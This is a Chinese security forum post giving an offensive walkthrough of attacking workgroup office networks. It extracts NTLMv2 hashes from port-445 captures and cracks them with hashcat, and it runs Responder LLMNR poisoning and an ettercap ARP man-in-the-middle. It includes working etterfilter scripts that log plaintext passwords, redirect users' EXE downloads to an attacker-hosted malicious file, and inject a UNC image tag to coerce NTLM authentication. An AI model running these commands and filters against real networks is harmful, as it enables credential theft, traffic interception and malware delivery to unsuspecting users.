安全矩阵

 找回密码
 立即注册
搜索
查看: 850|回复: 0

工作组环境下的内网渗透:一些基础打法

[复制链接]

32

主题

32

帖子

106

积分

注册会员

Rank: 2

积分
106
发表于 2024-6-3 00:02:45 | 显示全部楼层 |阅读模式
好几次的情况下,打下了办公机,和服务器内网不同的是,办公网中,除了极少数的用户机器会有运行一切奇奇怪怪的服务,包括但不限于 EveryThink(那个搜索程序叫啥我忘了),向日葵啊,或者各种奇奇怪怪一些 RMI,也只有一些开发机才会有跑些 web

但是大部分时候,大部分机器就是一个沉默术士,一看 80,啊,没开,3389,啊,没开,开了啥?445,135,139 没了,怎么办?这时候我们除了使用,啊,MS08-067,MS17-010,19-0708(基本都蓝), 这些,如果这些都没有,估计大部分时候只能干瞪眼了。

这就是现在的,过于注重 web 而忽略了传统艺能。我记得早在我初中的时候,那群黑阔天天玩的就是这些,什么水滴,什么奶瓶,什么 BT5 什么 ettercap 进行劫持啥的,什么明教教主 BT5 学习使用。当初觉得阿这玩意阿怎么感觉没有什么卵用阿哪里有人会傻傻的给你劫持。现在不都是打 web 阿打数据库阿打服务什么的嘛。

现在想来还是当时的我太 naive 了。那时候的内网环境和现在的内网环境还是有很大差别的。

极简模式
简单方式,如果你直接日下路由器。无论用什么方法,直接监听 445 端口,并捕获为 pcap

监听一段时间,可以使用 NTLMRawUnHide 项目来从 pcap 中提取 ntlmv2。

直接运行:
  1. python .\NTLMRawUnHide.py -i .\b.pcap
复制代码

然后,我们要找的就是类似于
  1. test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000
复制代码
这样的一段内容,提取出来,保存为 txt 文件,我们就可以使用 hashcat 爆破了。我们这里假设保存为 ntlmv2.txt

然后使用 hashcat,执行 hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force

这里我使用的是掩码爆破,因为只是为了测试,实际情况请自行选择字典或者其他掩码。

可以看到,对于这种弱口令,基本 1 秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词 + 生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到 ntlmv2

下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了.jpg

极简模式II:使用responder
直接在 kali 中,运行 responder -I eth0 -w,responder 会自动在局域网内使用 LLMNR 和 NetBiOS 等协议进行应答。
链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。
而 responder 原理就是无论收到是啥,都应答这个 LLMR 响应,导致客户以为这个主机是存在的。

当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的 responder 就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的 ntlmv2 了。

然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入 XSS,自动加载 UAF 路径等。但是这就不是 0click 了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。

主动出击:ETTERCAP内网嗅探与劫持
这时候就可以掏出我们的传统异能工具,ettercap 和 arpspoof 之类的劫持工具了。

使用 ettercap 能达成类似与路由器那样直接 tcpdump 分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。

毕竟 arp 劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接 GG。

所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探 HTTP 文件,把文件替换成我们的木马等。

直接运行:
  1. sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关//
复制代码
这样我们就可以看到目标机器的所有流量了

这时候有流量了,可以选择嗅探 cookies 或者是嗅探密码。这时候我们就需要用到 etterfilter,用于选出我们想要的流量。

查看一个文档

https://linux.die.net/man/8/etterfilter

直接进行一个仿写,我们也不做其他的,直接把他们包含 Cookies 和 user
  1. if ( tcp.src == 80 || tcp.dst == 80) {
  2.         if (search(DATA.data,"password")) {
  3.                 log(DATA.data, "/tmp/tmp.log");
  4.         }
  5. }
复制代码
上面是保存 http 中带有 password 的,甚至可以把第一句 tcp.src == 80 也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为 a.filter,然后执行
  1. etterfilter a.filter -o a.ef
复制代码
就会生成一个 ef 文件,然后使用
  1. sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//
复制代码
就可以开始嗅探 http 请求的明文流量了。

或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本
  1. if (ip.proto == TCP && tcp.dst == 80) {
  2.     if (search(DATA.data, “Accept-Encoding”)) {
  3.         replace("Accept-Encoding", "Accept-Mousecat");
  4.         msg("zapped Accept-Encoding!\n");
  5.     }
  6. }
  7. if (ip.proto == TCP && tcp.src == 80) {
  8.     replace("keep-alive", "close" );
  9.     replace("Keep-Alive", "close" );
  10. }
  11. if (ip.proto == TCP && search(DATA.data, ": application") ){
  12.     msg("found EXE\n");
  13.     if (search(DATA.data, "Win32")) {
  14.         msg("doing nothing\n");
  15.     } else {
  16.         replace("200 OK", "301 Moved Permanently
  17.         Location: http://你的恶意exe/setup.exe");
  18.         msg("redirect success\n");
  19.     }
  20. }
复制代码
这个代码是直接替换下载 EXE 地址 302 到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已 exe 地址,高级一点的可以直接在下载原始 exe 过程中,直接把它的 exe 流数据替换成我们的恶意 exe 数据流。再高级一点的甚至可以直接在 exe 流中插入 shellcode 然后修改入口点。当然这个过于复杂也没什么必要就是了。

以上两种方式虽然都挺好用,但是如果目标们就是 tmd 不访问路由器或者不下 exe 怎么办呢?

配合我们之前使用的 responder,只要在 http 流量中插入内网的 UAF 地址,然后使用 responder 进行一个 LLMNR 欺骗甚至使用 smbreplay,诱导用户发送他们自身的 ntlmv2,不是就能达到我们想要的效果了?

直接对 fileter 修改
  1. if (ip.proto == TCP && tcp.dst == 80) {
  2.     if (search(DATA.data, "Accept-Encoding")) {
  3.         replace("Accept-Encoding","Accept-AAAA");
  4.     }
  5. }
  6. if (ip.proto == TCP && tcp.src == 80) {
  7.     replace("head>", "head> <img src="\\\\fake_hostname\\pixel.gif"> ");
  8. }
复制代码
然后等待发送 ntlmv2 即可。。然而如今的正常浏览器都会遇到 Not allowed to load local resource,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如 IE 或者一些 webview 才会自动引用这些然后发送 ntlmv2 了。

结语
和 Web 服务不同,在面对工作组计算机中,除了 MS17 这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP 攻击如今只要是个杀软就能防御,默认 https,允许 http 的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致 ntlmv2 发送不出来等等因素,这可能也是导致内网 mitm 越来越淡出我们视野的原因。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:53 , Processed in 0.013243 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表